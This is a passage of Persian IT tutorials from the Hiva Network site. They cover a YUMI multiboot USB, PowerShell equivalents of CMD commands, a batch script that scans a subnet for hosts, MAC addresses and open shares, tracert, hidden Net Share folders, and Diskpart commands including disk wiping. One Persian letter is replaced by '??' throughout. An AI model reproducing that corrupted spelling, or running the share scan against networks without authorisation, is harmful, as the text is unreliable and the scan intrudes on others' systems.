روی آن نصب شده و یک ??لش 8 گیگ سیلیکون پاور و چندین DVD کمکی که Bootable هستند دارید مانند : 1- Hiren Boot 2- Windows 7 Live 3- Kaspersky Rescue Disk 4- Windows 8 5- Ubuntu 6- Acronis True Image با خود ??کر می کنید که ای کاش روشی وجود داشت که می شد ??لش مالتی بوت ساخت. اما در حال حاضر شما ??قط می توانید هر بار یکی از نرم ا??زار های بالا را با ??لش خود بوت کنید. کمی در اینترنت جستجو می کنید و به طور ات??اقی به این مقاله آموزش ساخت ??لش مالتی بوت بر می خورید که در آن نحوه ساخت ??لش مالتی بوت را به طور کامل به شما آموزش می دهد !!! برای ساخت ??لش مالتی بوت از نرم ا??زار YUMI کمک می گیریم. برای دانلود نرم ا??زار YUMI بر روی لینک زیر کلیک نمایید. لینک دانلود نرم ا??زار YUMI این نرم ا??زار نیاز به نصب ندارد 1- پس از دانلود نرم ا??زار YUMI ، ??لش خود را ??رمت کنید و سپس به کامپیوتر وصل کنید و بعد نرم ا??زار YUMI را اجرا کنید. 2- Next بزنید. 3- ??لش خود را از منوی کشویی Step 1 انتخاب کنید. 4- در Step 2 بر روی منوی کشویی کلیک کنید تا لیست Option ها را ببینید. این Option ها شامل لیستی از سیستم عامل های مختل?? و ابزارهای قابل بوت می باشد که بسته به نیازتان باید آن ها را انتخاب کنید. ما در این سناریو قصد داریم یک ??لش مالتی بوت شامل Windows 8.1 ، Ubuntu 11 ، Hiren Boot و Kaspersky Rescue Disk بسازیم. پس ابتدا در لیست در قسمت Other OS/Tools گزینه Windows Vista/7/8 Installer را انتخاب می کنیم. 5- در قسمت بعد باید مسیر Image ویندوز 8.1 را با ??رمت ISO انتخاب کنیم. برای ساخت ??ایل های ISO می توانید از PoewrISO کمک بگیرید. 6- سپس بر روی دکمه Create کلیک کنید تا ??ایل ISO بر روی ??لش رایت شود. 7- پس از اینکه عملیات رایت ویندوز 8.1 بر روی ??لش انجام شد بر روی Next کلیک کنید تا پیغام زیر ظاهر شود : برای ADD کردن بقیه ISO ها بر روی Yes کلیک کنید. 8- و دوباره مرحله 4 به بعد را تکرار کنید . در ادامه این سناریو نسخه Ubuntu را از لیست انتخاب می کنیم و ادامه می دهیم تا زمانی که پیغام بالا دوباره نمایش داده شود. 9- باز هم بر روی Yes کلیک می کنیم و این بار از لیست Hiren Boot را انتخاب می کنیم و در نهایت پس از تکرار همین مسیر، این بار از قسمت Antivirus Tools ، آنتی ویروس Kaspersky Rescue Disk را انتخاب می کنیم. در صورتی که ??ایل ISO این نرم ا??زار را نداشته باشیم می توانیم از لینکی که خود نرم ا??زار پیشنهاد می کند برای دانلود ??ایل ISO اقدام کنیم. منبع : سایت هیوا شبکه
  10. ??رمان های CMD و معادل آن ها در PowerShell سلام به همه شما دوستان و همراهان همیشگی هیوا یکی از بهترین روش ها برای آشنایی با خط ??رمان PowerShell و دوست شدن با آن، است??اده از ??رمان های CMD در PowerShell است. یعنی مثلا به جای اینکه برای Ping کردن یک کلاینت در شبکه از CMD است??اده کنید، از PowerShell است??اده کنید. اما پس از این که با PowerShell دوست شدید، لازم است که شناخت بیشتری از آن به دست آورید. در این آموزش : معادل پاورشلی چندتا از ??رمان های CMD را یاد می گیرید. یاد می گیرید چطور از PowerShell درخواست کمک کنید. با یکی از قابلیت های خیلی خیلی جالب و کاربردی PowerShell آشنا می شوید! قبل از شروع قبل از شروع خوب است که با ورژن های مختل?? پاورشل آشنا شوید. آشنایی با ورژن های مختل?? پاورشل باعث می شود با پاورشل بیشتر دوست شوید و این آموزش برای شما کاربردی تر شود. اگر از قبل با آن ها آشنا هستید که چه خوب! و اگر آشنایی ندارید شما را به خواندن آموزش کوتاه " PowerShell چه ورژن هایی دارد؟ " دعوت می کنم! شروع خب حالا برای شروع، خط ??رمان PowerShell را باز کنید و سپس ادامه آموزش را دنبال کنید. ??رمان Set-Location معادل cd ??رمان cd در CMD برای تغییر مسیر درون یک Volume یا Drive است??اده می شود و مخ???? Change Directory است. Set-Location Hiva\Articles\PowerShell Set-location .. Set-Location \ ??رمان Get-Childitem معادل ??رمان dir و ls ??رمان dir در CMD و ??رمان ls (ال اس) در لینوکس، لیست محتویات درون مسیر ??علی را نمایش می دهد. Get-Childitem Get-Chiditem –Attributes hidden Get-Childitem –force ??رمان gci ، نام مستعار یا Alias Name برای ??رمان Get-Childitem است. یعنی به جای است??اده از ??رمان Get-Childitm می توانیم از gci است??اده کنیم. ??رمان Clear معادل CLS ??رمان CLS در CMD، ص??حه را تمیز می کند و مخ???? Clear Screen است. ??رمان Get-NetAdapter معادل GetMac ??رمان GetMac برای دیدن MAC Address ها است??اده می شود. Get-NetAdapter نکته: ??رمان Get-NetAdapter در PowerShell 3.0 به بالا وجود دارد. ??رمان Get-NetIPConfiguration معادل IPConfig ??رمان IPConfig در CMD، اطلاعات Interface ها و تنظیمات IP را نمایش می دهد. Get-NetIPConfiguration Get-NetIPConfiguration –detailed ??رمان gipنام مستعار این ??رمان است. یعنی به جای است??اده از ??رمان Get-NetIPConfiguration می توان ??رمان gip را به کار برد. نکته: ??رمان Get-NetIPConfiguration –detailed معادل ??رمان IPConfig /all است. نکته: این ??رمان در PowerShell 3.0 به بالا وجود دارد. ??رمان Test-Connection معادل Ping ??رمان Ping از دوستان قدیمی ماست و نیازی به معر??ی ندارد! Test-Connection Hiva-Network.com Test-Connection 8.8.8.8 Test-Connection Hivanet-PC از امکانات جالب ??رمان Test-Connection این است که می توانیم چندین مقصد را همزمان با هم Ping کنیم به صورت زیر: Test-Connection Hiva-Network.com , 8.8.8.8 , hivanet-PC ??رمان Test-NetConnection -TraceRoute معادل ??رمان Tracert ??رمان Tracert برای دیدن روتر ها و هاپ هایی است که بسته ها از آن ها عبور می کنند تا به مقصد برسند. همچنین به کمک این ??رمان می توانیم ب??همیم که اگر در شبکه دچار قعطی شدیم، مشکل از کجا و از کدام روتر شروع می شود؟ Test-NetConncetion Hiva-Network.com -TraceRoute Alias Name این ??رمان TNC است. یعنی به جای عبارت Test-NetConnection می توانیم از ??رمان TNC است??اده کنیم. نکته: این ??رمان در PowerShell 4.0 به بالا وجود دارد. منبع : سایت هیوا شبکه
  11. با ??رمان های CMD ، یک Network Scanner ساده بسازید! سلام به همه شما همراهان همیشگی هیوا در این آموزش می خواهیم به کمک ??رمان هایی که از خط ??رمان CMD یاد گر??تیم یک Scanner ساده نیمه حر??ه ای بسازیم. اما قبل از ساخت این اسکنر باید چند نکته را در نظر بگیرید: * در ساخت این اسکنر ??قط از ??رمان های CMD است??اده می کنیم . * این اسکنر ممکن است خیلی دقیق نباشد (و شاید هم باشد!) * این اسکنر خیلی سریع نیست. * هد?? از ساخت این اسکنر این است که ??قط یک اسکنری ساخته باشیم! * این اسکنر مناسب برای کلاس C است. شما می توانید آنرا برای سایر کلاس ها توسعه دهید. خب برای اینکه بخواهیم یک Network Scanner بسازیم، باید مشخص کنیم که این اسکنر قرار است چه اطلاعاتی برای ما جمع آوری کند؟ 1- پیدا کردن کلاینت های ??عال شبکه 2- به دست آوردن نام کامپیوتر آن ها 3- به دست آوردن MAC Address 4- بررسی دسترسی به منابع Share 5- لیست منابع Share شده هر کلاینت 6- ذخیره تمامی اطلاعاتی به دست آمده در یک ??ایل ساده TXT خب، برای اسکنر ساده ما ??علا همین موارد کا??ی است. بعدا که حر??ه ای تر شدیم می توانیم این اسکنر را توسعه دهیم و آن را کامل تر و بهتر کنیم. ( بزرگ ??کر کن، کوچک عمل کن ) مواد لازم برای ساخت یک عدد اسکنر ساده: 0 – یک ??ایل Text خالی برای نوشتن ??رمان ها و ایجاد Batch-file 1 – ??رمان Ping ساده ترین راه برای پیدا کردن کلاینت های ??عال شبکه Ping کردن آن هاست. البته یکی از دلایل غیر دقیق شدن اسکنر ما هم همین است! این جا را بخوانید 2 – ??رمان Ping با سوئیچ /a این سوئیچ نام کامپیوتر مقصد را به ما می دهد. 3 - ??رمان ARP با سوئیچ /a در آموزش های قبل 8 روش برای به دست آوردن MAC Address بدون نرم ا??زار جانبی را قبلا بیان کردیم که روش بالا یکی از آن هاست. IP یا نام کامپیوتر را می دهیم و MAC Address تحویل می گیریم. 4 – ??رمان Net Use برای بررسی دسترسی به منابع Share به کارمان می آید. همچنین به ما در دقیقتر شدن شناسایی کلاینت های ??عال شبکه بهتر کمک می کند. 5 – ??رمان Net View با سوئیچ /all ??رمان Net view بدون هیچ سوئیچی لیست Computer Name های ??عال شبکه را نشان می دهد. اگر با سوئیچ /all است??اده شود می تواند لیست منابع Share شده هر کامپیوتر را نشان دهد. 6 – برای ذخیره اطلاعات در یک ??ایل TXTاز تر??ند >>file.txt است??اده می کنیم. طرز تهیه اسکنر ساده: گام اول : ابتدا ??ایل text خالی را باز کنید و ??رمان های زیر را در آن قرار دهید ( مانند تصویر ) ping 192.168.1.1 -n 3 -l 0 ping -a 192.168.1.1 -n 1 -l 0 arp -a 192.168.1.1 net use \\192.168.1.1 net view /all \\192.168.1.1 گام دوم: این ??ایل text را با نام network-scanner.bat ذخیره کنید و یک بار آن را اجرا کنید. توضیح خط اول : به IP مقصد 3 بسته ICMP با سایز 0 بایت ارسال می کند. برای اینکه سرعت ping و در نتیجه سرعت Scanner ما بیشتر شود این کار را کردیم. بهتر است تعداد بسته ها حداقل 3 باشد. همچنین به ازای هر 1 بسته بیشتر، حداقل 1 میلی ثانیه به ازای هر کلاینت ??عال و 1 ثانیه به ازای هر کلاینت خاموش در شبکه به زمان اسکن ا??زوده می شود. توضیح خط دوم : یک بسته دیگر به IP مقصد ارسال می کنیم تا Computer Name آن را به دست آوریم. توضیح خط سوم : با این ??رمان MAC Address مقصد را به دست می آوریم. توضیح خط چهارم : به کامپیوتر مقصد متصل می شویم. برای دیدن و است??اده کردن از منابع Share باید این ??رمان را بزنیم. این ??رمان ??قط در یک حالت مو??قیت آمیز خواهد بود که کامپیوتر مقصد لزوما کامپیوتر باشد ( پرینتر یا روتر نباشد) و ویندوزی باشد و Resource Sharing آن ??عال باشد و Password Protected Sharing آن Turn Off باشد. در غیر این صورت نمی توانیم لیست منابع Share آن را ببینیم. البته با داشتن Username و password مقصد و کمی تغییرات در کد اسکنر می توانیم آن ها را هم اسکن کنیم. توضیح خط پنجم : در صورتی که ??رمان قبل مو??قیت آمیز باشد، این ??رمان با مو??قیت اجرا خواهد شد. این ??رمان لیست تمامی منابع Share شده توسط IP مقصد را نمایش می دهد. همان طور که دیدید (و می دانستید) دستورات درون این Batch-file ??قط برای آدرس 192.168.1.1 اجرا می شود. حال اگر بخواهیم این دستورات برای تمام IP های درون شبکه 192.168.1.0 اجرا شوند چه باید بکنیم ؟ 2 راه حل داریم: این 5 خط کد را برای سایر IP های شبکه 192.168.1.0 تکرار کنیم (copy and Paste) یا از یک حلقه For ساده است??اده کنیم و تمام! راه حل اول را که همگی بلد هستیم. پس می رویم سراغ راه حل دوم. است??اده از حلقه For در Batch-file مربوط از سر??صل های Batch-file Programming است. در صورتی که علاقه مند به یادگیری این مباحث هستید می توانید PDF آموزش Batch-file Programming را از لینک زیر دانلود کنید. این PDF به زبات انگلیسی و کمی قدیمی است، ولی برای شروع بسیار مناسب و متن آن بسیار ساده و روان است. دانلود PDF آموزش batch-file programming و اما است??اده از حلقه For در Batch-file : خب ما می خواهیم 5 خط کد درون network-scanner.bat برای تمامی IP های درون شبکه 192.168.1.0 اجرا شود؛ یعنی 254 بار. پس نیاز به یک متغیر داریم که از 1 تا 254 تغییر کند. در این صورت ساختار حلقه For و Batch-File ما به شکل زیر خواهد شد: ) For /L %%x in (1,1,254) Do ping 192.168.1.%%x -n 3 -l 0 ping -a 192.168.1.%%x -n 1 -l 0 arp -a 192.168.1.%%x net use \\192.168.1.%%x net view /all \\192.168.1.%%x ( توضیح خط اول: یعنی برای متغیر عددی x که مقدار اولیه آن 1 است و 1 واحد-1 واحد به آن ا??زوده می شود تا 254، انجام بده کارهای داخل پرانتز را. خب پس از ذخیره کردن Batch-File، آنرا اجرا کنید. نتیجه : به شرط اینکه ??رمان ها را درست نوشته باشید و Batch-file بدون مشکل اجرا شود به 2 نتیجه می رسیم: 1 اینکه پس از پایان Batch-File ، خط ??رمان خودکار بسته می شود. راه حل : برای حل مورد اول، در انتهای batch-file عبارت pause را اضا??ه کنید. منبع: سایت هیوا شبکه
  12. آموزش دستور Tracert در این آموزش قصد داریم دستور Tracert را با هم بررسی کنیم. همان طور که از نام Tracert پیداست، کار آن ردیابی کردن مسیر است. دستور Tracert یکی از دستورات خیلی م??ید خط ??رمان است که به کمک آن می توانیم از مسیری که بسته های ما در شبکه طی می کنند تا به مقصد برسند اطلاعات خوبی کسب کنیم. دو سناریوی زیر می تواند کاربرد دستور Tracert را روشن تر کند : سناریو اول : در نظر بگیرید وقتی وب سایتی مانند Hiva-Network.com را باز می کنید این درخواست چه مسیری را طی می کند تا به Hiva-Network.com برسد ؟ سناریو دوم : حالتی را در نظر بگیرید که مدیر شبکه اینترانت شرکتی هستید که دارای چند شعبه در شهرهای مختل?? است و در حال حاضر ارتباط با یک یا چند بخش دچار اختلال شده است. ممکن است این مشکل علل مختل??ی داشته باشد مثلا یک یا چند روتر از کار ا??تاده باشند یا مسیر ارتباطی بین روتر ها دچار اختلال شده باشد. با این حساب چطور محدوده مشکل پیش آمده را تعیین کنیم؟ دستور Tracert پاسخی به این سوالات است. اما پیش از شروع کار دستور Tracert بهتر است کمی در مورد نحوه عملکرد این ابزار بیشتر بدانیم : Tracert با ارسال بسته های ICMP با TTL های مت??اوت مسیر را مشخص می کند. بسته ها در مسیر ارسالی با گذر از هر روتر حداقل یکی از TTL های آن ها کاسته می شود. به بیان دیگر هر بسته برای عبور از هر روتر باید حداقل یک TTL عوارض بپردازند تا بتوانند عبور کنند. در این صورت با درصد بالایی هر TTL یک هاپ محسوب می شود. ( در صورتی که پردازش هر Packet در روتر بیش از یک ثانیه طول بکشد به ازای هر ثانیه TTL بیشتری از Packet کم می شود ) زمانی که TTL بسته به ص??ر می رسد، روتر باید یک بسته ICMP Time Exceeded Message را به کامپیوتر مبدا برگرداند. دستور Tracert با ??رستادن اولین بسته با TTL=1 ، اولین هاپ را مشخص می کند و هر بار به مقدار TTL یکی اضا??ه می کند تا هاپ های بعدی را مشخص کند. این ??رایند تا زمانی انجام می شود که مقدار TTL به حداکثر مجاز خودش برسد یا اینکه به مقصد برسیم. پس Tracert از بسته های ICMP Time Exceeded Message ای که روتر ها به مبدا می ??رستند برای تعیین مسیر است??اده می کند. البته بعضی از روترها هم هستند که بسته هایی را که TTL آن ها به پایان رسیده به طور ناجوانمردانه ای دور می اندازند و بسته ICMP Time Exceeded Message را به مبدا نمی ??رستند بنابراین توسط Tracert قابل شناسایی نیستند. شروع کار با دستور Tracert برای است??اده از دستور Tracert باید به یکی از روش های زیر عمل کنید: برای شروع، سایت www.Hiva-Network.com را با دستور Tracert بررسی می کنیم: Tracert www.Hiva-Network.com همان طور که مشاهده می کنید، دستور Tracert لیست مرتب شده ای از روتر ها را نمایش می دهد . این روتر ها همان هایی هستند که بسته های ICMP Time Exceeded Message را به کامپیوتر ما ??رستاده اند. ستون ها در دستور Tracert چه چیزی را نشان می دهند؟ در خروجی دستور Tracert پنج ستون مشاهده می کنید. ستون اول (سمت چپ) شماره هاپ ها را نشان می دهد. ستون آخر IP یا نام هر هاپ را نمایش می دهد. اما سه ستون بعد از ستون اول در دستور Tracert چه چیزی را نشان می دهد ؟ Tracert برای هر هاپ 3 بسته ارسال می کند که هر ستون مربوط به هر بسته است. با ارسال این سه بسته ، خروجی معتبرتر و قابل اعتمادتری خواهیم داشت. مجموع زمان ارسال هر بسته از کامپیوتر ما به هاپ و دریا??ت پاسخ از هاپ به کامپیوتر ما ( مجموع زمان ر??ت و برگشت) مقادیری هستند که در این ستون ها قرار می گیرند. چنانچه برای یک هاپ بسته ارسالی دچار مشکل شود و به مبدا برنگردد ، یک ستاره * بجای زمان ، نمایش داده می شود.(در تصویر بالا به ??لش زرد دقت کنید) و در پایان تعداد هاپ هایی که از آن ها عبور می کند مشخص می شود (کادر قرمز) تحلیل خروجی Tracer اولین هاپ ای که در خروجی Tracert قبل مشاهده می کنید، مودم ما با آی پی 192.168.1.1 می باشد. در صورتی که در یک LAN هستند و از طریق یک مودم به اینترنت متصل می شوید اولین هاپ شما مودم شما خواهد بود. در صورتی که Tracert به مقصد برسد ، آخرین هاپ آدرسی است که آن را Tracert کردید. در تصویر بالا مشاهده می کنید که IP هاپ شماره 19 همان IP سایت www.Hiva-Network.com است. نکته جالب دیگری که در تصویر بالا در بررسی خروجی Tracert می توان به آن اشاره کرد ، IP های خصوصی هاپ هاست که از کلاس A و در رنج 10.x.x.x هستند. این IP ها مربوط به روتر های شبکه اینترانت ISP و مخابرات می باشد . با بررسی IP ها می توانیم شهرها و کشورهایی را که بسته های ما برای رسیدن به مقصد طی می کنند بیابیم که توضیح آن در پایان این آموزش آورده شده. نکته: معمولا با ا??زایش تعداد هاپ ها زمان Trace شدن نیز ا??زایش می یابد. خطایابی به کمک دستور Tracert : در سناریوی دوم این سوال مطرح شد که اگر در ارتباط بین بخش های مختل?? اشکالی پیش بیاید چطور آن را کش?? کنیم؟ یک از راه حل ها است??اده از Tracert است تا ببینید که حداکثر تا کدام روتر (یا روتر ها) بسته های ارسالی بدون مشکل مسیر را طی می کنند. اولین روتری که بعد از آن بسته دیگر پاسخی نداریم جاییست که مشکل از آنجا آغاز می شود. به تصویر زیر توجه کنید که در یک مسیر با Down شدن هاپ چهارم، بقیه مسیر هم غیر قابل دسترس خواهد شد. در تصویر زیر مثالی دیگر از Tracert که توسط آن یک کامپیوتر هم با IP و هم با نام کامپیوتر Tracert شده است را مشاهده می کنید. منبع : سایت هیوا شبکه
  13. Net Share آموزش دستور این ??رمان همان طور که از نامش پیداست برای مدیریت ??ولدرهای share می باشد. با است??اده از دستور Net Share می توانید ??ولدر ها را Share کنید و یا از Share خارج کنید، همچنین تنظیمات مرتبط با Share را تغییر دهید. دیدن منابع Share شده در CMD با است??اده از دستور Net Share برای مشاهده ??ولدر های Share شده ی کامپیوتر خود در خط ??رمان ( CMD ) دستور Net Share را بنویسید و Enter کنید(تصویر زیر) Share کردن ??ولدرها با است??اده در CMD با است??اده از دستور Net Share ??رض کنید که می خواهید یک ??ولدر به نام MCITP را از درایو D خود Share کنید و نام آن در شبکه Network-Learning باشد یعنی کاربرانی که در شبکه به این ??ولدر دسترسی دارند این ??ولدر را با نام Network-Learning ببینند، ساده ترین شکل است??اده از این دستور به شکل زیر است: Net Share Network-Learning=D:\MCITP تر??ند ! چگونه ??ولدر Share شده را از دید کاربران شبکه مخ??ی کنیم ؟ می توانید ??ولدر ها را به گونه ای Share کنید که کاربرانی که در شبکه به منابع Share شده شما دسترسی دارد آنها نبینند. برای اینکار دو روش وجود دارد: مخ??ی کردن ??ولدر Share شده با است??اده از Advanced Sharing مخ??ی کردن ??ولدر Share شده از طریق CMD با دستور Net Share روش اول :مخ??ی کردن ??ولدر Share شده با است??اده از Advanced Sharing: روی ??ولدر مورد نظر کلیک راست و Properties را انتخاب کنید. سپس به تب Sharing بروید و روی Advanced Sharing کلیک کنید. در اینجا نامی برای ??ولدر انتخاب کنید. ولی با این ت??اوت که در پایان آن $را اضا??ه کنید. در تصویر زیر می بینید که تمام ??ولدر هایی که Share شده اند قابل نمایش اند بجز ??ولدر hiva-Secret ??قط کسانی می توانند به آن دسترسی داشته باشند که نام آن را بدانند. روش دوم: مخ??ی کردن ??ولدر Share شده از طریق CMD با دستور Net Share این بار ??ولدر دیگری را با نام hivasecret از درایو D کامپیوتر با عنوان $secret از طریق خط ??رمان Share می کنیم : به علامت $ دقت کنید: Net Share secret$=D:\hivasecret اما چگونه به ??ولدر Share شده که مخ??ی کرده ایم دسترسی داشته باشیم؟ برای دسترسی به hidden shared folder ها یا همان ??ولدر های share شده و مخ??ی با دانستن نام آن باید پس از نام ??ولدر علامت $ را در انتها اضا??ه کنیم. در این جا می خواهیم وارد ??ولدر مخ??ی به نام hiva-secret از کامپیوتر Hiva-PC شویم: Permission دادن به ??ولدر ها در هنگام Share کردن با است??اده از CMD اگر دقت کنید متوجه خواهید شد که هیچ گونه Permission برای این ??ولدرهایی که تا بحال Share کردیم تعری?? نکردیم. تا زمانی که در Manage Advanced sharing settings حالت Password Protect را که به طور پیش??رض On است تغییر نداده باشید مشکلی پیش نخواهد آمد. اما در صورتی که حالت Password Protect را Off کرده باشید در این صورت باید برای ??ولدر هایی که Share می کنید Permission تعیین کنید در غیر اینصورت از طریق Share قابل دسترسی نخواهد بود. اگر بخواهیم Permission را به طور دقیق تعری?? کنیم به صورت زیر عمل می کنیم: Net Share pdf=D:\hivapdf /Grant:everyone,Read /Grant:hiva,Full به کاربر hiva تمام اختیارات(Full) و به سایر کاربران(Everyone) ??قط حق خواندن(Read) داده شد. منبع : سایت هیوا شبکه
  14. آموزش دستورات Diskpart – بخش سوم توجه: برای بکار بردن اغلب ??رمان ها نیاز به ??رمان های جانبی است.در تصاویر این متن آموزشی، ??رمان اصلی با رنگ زرد و ??رمان های جانبی با رنگ سبز مشخص شده اند. توجه2: در صورتی که قصد اجرا و تست دستورات آموزش داده شده در این مقاله را دارید، پیشنهاد می کنیم حتما از نرم ا??زار های مجازی سازی مانند VirtualBox ، Hyper-V یا VMWare و در صورت عدم دسترسی به آن ها از یک ??لش مموری است??اده کنید. تست این دستورات بر روی Disk اصلی کامپیوترتان ممکن است باعث پاک شدن و از دست ر??تن اطلاعات گردد. Expand این ??رمان حجم Vdisk را ا??زایش می دهد. به تصویر زیر توجه کنید: FileSystem این ??رمان File System درایوها و Allocation Unit Size مرتبط با همان File System را نمایش می دهد. Import اگر می خواهید از دو یا چند دیسک است??اده کنید در هنگام اتصال دیسک جدید، باید آنرا وارد گروه دیسک های Online کنید. برای این کار دیسک مورد نظر را انتخاب و سپس Import کنید. Inactive ??رمان Active را به خاطر بیاورید، این ??رمان نقطه مقابل آن است یعنی یک Partition را غیر??عال می کند. List حتما تا الان به کاربرد این دستور پی برده اید؛ هرچند از نام دستور هم مشخص است ! تنها نکته ای که شاید برای شما جدید باشد این است می توانید لیست VDisk را هم ببینید: List VDisk List Disk List Partition List Volume Merge در مورد VDisk ها قبلا گ??تیم که می توان یک VDisk را در داخل VDisk دیگری ساخت. ??رمان Merge این VDisk ها را به هم می چسباند و یکی می کند. ممکن است ساختن VDisk ها در داخل هم به صورت زنجیره وار باشد یعنی VDisk ی که در داخل آن یک VDisk می سازیم خودش داخل VDisk دیگری باشد و الی آخر. با گزینه Depth می توانید مشخص کنید که در این سلسله مراتب از دیسک های تو در تو، تا چند سطح بالاتر Merge شود.??راموش نکنید که قبل از است??اده ازین ??رمان، VDisk مورد نظر را Select کرده باشید. Merge VDisk Depth=1 Online این ??رمان Disk ها یا Volume های Offline را Online می کند: Online Disk Online Volume Offline عکس ??رمان بالا Offline Disk Offline Volume Rem این ??رمان هیچ عمل خاصی انجام نمیدهد، ??قط می توانید در حین کار با CMD یک سری توضیحات اضا??ه کنید. مانند Comment گذاشتن در برنامه نویسی است . اضا??ه کردن بعضی از خطوط که تاثیری در برنامه ندارند در آنجا بسیار ضروری است. Remove شاید به هر دلیلی بخواهید Drive Letter یا Mount Path یا هر دو را برای یک Volume حذ?? کنید، کا??یست Volume مورد نظر را انتخاب کنید و : [Remove Letter= [noerr [Remove Mount= [noerr [Remove All [noerr همانطور که در تصویر زیر می بینید، Volume 5 دیسک من، Drive Letter ، و Volume 2 هم Drive Letter و هم Mount Path دارد. به تصویر زیر توجه کنید که چگونه آنها را Remove کرده ام (رنگ قرمز برای Volume 5 و رنگ سبز برای Volume 2 است??اده شده است) منبع : سایت هیوا شبکه
  15. آموزش دستورات Diskpart – بخش دوم توجه: برای بکار بردن اغلب ??رمان ها نیاز به ??رمان های جانبی است.در تصاویر این متن آموزشی، ??رمان اصلی با رنگ زرد و ??رمان های جانبی با رنگ سبز مشخص شده اند. توجه2: در صورتی که قصد اجرا و تست دستورات آموزش داده شده در این مقاله را دارید، پیشنهاد می کنیم حتما از نرم ا??زار های مجازی سازی مانند VirtualBox ، Hyper-V یا VMWare و در صورت عدم دسترسی به آن ها از یک ??لش مموری است??اده کنید. تست این دستورات بر روی Disk اصلی کامپیوترتان ممکن است باعث پاک شدن و از دست ر??تن اطلاعات گردد. Attach با این ??رمان می توانید یک ??ایل VHD را به عنوان یک دیسک مجازی(VDisk) Attach کنید. البته قبل ازین کار باید ??ایل VHD را Select کرد. [Attach VDisk [noerr می توانید این ??ایل VHD را به صورت ReadOnly ، Attach کنید: [Attach VDisk ReadOnly [noerr Clean از این دستور است??اده نکنید برای Format کردن Partition یا Volume . این دستور مختص Disk است. این ??رمان هارد دیسک مورد نظر را به طور کامل پاک می کند و حتی هر گونه تنظیمات مربوط به پارتیشن بندی و ??رمت ها را هم از بین می برد.دقت کنید که این ??رمان ??قط روی Disk اعمال می شود نه Partition یا Volume. توجه : قبل از است??اده از این دستور حتما به Disk ای که Select می کنید توجه کنید. در صورتی که یک Disk را اشتباها Select کنید ، تمامی Partition ها و اطلاعات آن ها را از دست خواهید داد. نکته ??نی: ??قط زمانی از Clean All است??اده که واقعا ضروری باشد، در غیر این صورت Clean بسیار سریع تر است. دلیل این توصیه، زمان گیر بودن Clean All و پاک کردن هارد دیسک به گونه ای که احتمال ریکاوری کردن اطلاعات قبلی خیلی پایین است، می باشد. برای یک ??لش 8 گیگابایتی حدود 25 دقیقه طول کشید تا Clean All شود!! تصور کنید برای یک هارد 500 گیگا بایتی یا 1 ترابایتی چقدر طول خواهد کشید. Compact همان طور که از نامش پیداست در ??شرده سازی مورد است??اده قرار می گیرد. ولی تصور نکنید که هر ??ایلی را می تواند ??شرده کند! ??ایل های VHD بسیار سودمندند و حتی می توان روی آن ها یک سیستم عامل مجزا نصب کرد و روی هر کامپیوتری پیاده سازی کرد. اما حجم ??ایل های VHD ممکن است ناخوشاید! باشد. برای کاهش حجم ??ایل های VHDمی توانید از Compact است??اده کنید. نکته اول: برای ??شرده کرده حتما باید ??ایل VHD را به صورت ReadOnly ، Attach کنید. نکته دوم: ??قط ??ایل های VHD که از نوع Expandable هستند قابلیت ??شرده شدن را دارند. Convert با دستور Conver می توانید نوع دیسک را تغییرمی دهد. اما نوع دیسک چیست؟ چند نوع دیسک وجود دارد ؟ هر دیسک به بخش های کوچکتری تقسیم میشود که Sector نام دارد. هر پارتیشن مجمومه ای از Sector هاست. آدرس شروع و طول هر پارتیشن و Sector های زیر مجموعه آن، در یک جدول(در داخل خود دیسک) ذخیره می شود. به سیستم و ??رمت خاص ذخیره شدن این جدول در هارد، MBR گ??ته می شود. ??ایل های مربوط به MBR در هنگام Boot شدن کامپیوتر توسط BIOS خوانده می شوند تا پارتیشن یاپارتیشن هایی که می توانند کامپیوتر را Boot کنند پیدا شوند. هم چنین سیستم عامل برای پیدا کردن آدرس پارتیشن ها و اطلاعات مربوط به آنها به جدول MBR مراجعه می کند. البته MBR ، پارتیشن هایی با ظر??یت حداکثر 2 ترابایت را شناسایی می کند به همین دلیل برای پارتیشن های بیش از 2 ترابایت GPT طراحی شد که محدودیتهای MBR را نداشته باشد. نکته: در هنگام Clean کردن یک هارد، جدول MBR یا GPT آن هم پاک میشود. برای تبدیل هارد?? MBR به GPT و بالعکس، حتما باید هارد را از قبل Clean کرده باشید. نکته دوم: برای پارتیشن های کمتر از 2 ترابایت ت??اوتی میان MBR و GPT مطرح نمی شود. کا??یست List Disk را وارد کنید تا این قضیه را در مورد دیسک های خود بررسی کنید. کامپیوتر من دو دیسک دارد(هارد و ??لش) برای هر دوی آنها گزینه GPT ??عال نیست(بدون ستاره اند) و این یعنی از نوع MBR هستند. دستور Convert به همراه Option ها: Convert Basic این ??رمان دیسکDynamic را به Basic تبدیل می کند. Convert Dynamic دیسک Basic را به Dynamic تبدیل می کند. Convert GPT دیسک MBR را به GPT تبدیل می کند. Convert MBR دیسک GPT را به MBR تبدیل می کند. اما دیسک های Dynamic و Basic چه ت??اوتی دارند؟ به طور ساده و خلاصه باید گ??ت که از نوع Dynamic به طور رایج در سرور ها است??اده می شود. و بیشتر کامپیوتر های کلاینت که معمولا یک دیسک بیشتر ندارند از نوع Basic هستند. با تبدیل دیسک ها از Basic به Dynamic امکان Raid کردن Volume ها بوجود می آید که بسیار ارزشمند می باشد. به طور کلی در دیسک های Dynamic می توانید Volume هایی از نوع زیر ایجاد کنید: 1. Simple volume 2. Spanned volume 3. Mirrored volume 4. Striped volume 5. RAID 5 Volume بحث هارد های Dynamic و Basic توضیح م??صلی نیاز دارند که در اینجا نمی توان آن را گنجاند. برای توضیحات بیشتر می توانید به کتاب Configuring Windows Seven (70-680) از دوره MCITP مراجعه ??رمایید. در تصویر زیر میبینید که روی یک ??لش مموری Convert GPT را اجرا کردم ولی چون ??لش را Clean نکرده بودم Convert با اشکال روبرو شد. پس از دستور Clean ، ??لش با مو??قیت Convert شد: Create ساختن Partition ، Volume، و VDisk با این ??رمان انجام می شود. توجه داشته باشید که برای ساختن هرکدام از موارد بالا باید نوعشان را مشخص کنید [Create Partition Primary Size=x [noerr [Create Partition Extended Size=x [noerr [Create Partition Logical Size=x [noerr اعدادی که در مقابل Size وارد می کنید باید برحسب مگابایت باشند. مثلا Size=50000 اگر این ??رمان را بدون Size است??اده کنید(مثلاCreate Partition Primary ) تمام ??ضای خالی باقیمانده دیسک را به آن پارتیشن اختصاص می دهد. منبع : سایت هیوا شبکه
